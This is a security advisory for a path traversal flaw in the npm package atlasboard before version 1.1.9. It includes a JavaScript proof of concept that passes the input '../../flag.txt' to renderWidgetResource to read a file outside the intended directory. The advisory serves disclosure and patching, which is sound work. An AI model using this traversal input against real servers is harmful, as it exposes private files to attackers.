The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

GHSA-25pr-6pr6-68v7 — Path traversal in atlasboard

Affected: npm: atlasboard

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

### PoC ```javascript const widget = require(\"atlasboard/lib/webapp/routes/widget\");

// Mock req and res const req = {}; const res = { sendFile: (filePath) => { // Read and return file contents synchronously const data = fs.readFileSync(filePath, \"utf8\"); console.log(\"Contents of /flag.txt:\"); console.log(data); }, status: function (code) { this.statusCode = code; return this; }, send: function (msg) { throw new Error(`Server responded with status ${this.statusCode}: ${msg}`); }, };

// localPackagesPath set to root to allow traversal to /flag.txt const localPackagesPath = \"/\";

// resource string with path traversal to escape localPackagesPath and widgets directory const resource = \"../../flag.txt\";

// Call vulnerable function await widget.renderWidgetResource(localPackagesPath, resource, req, res); ```
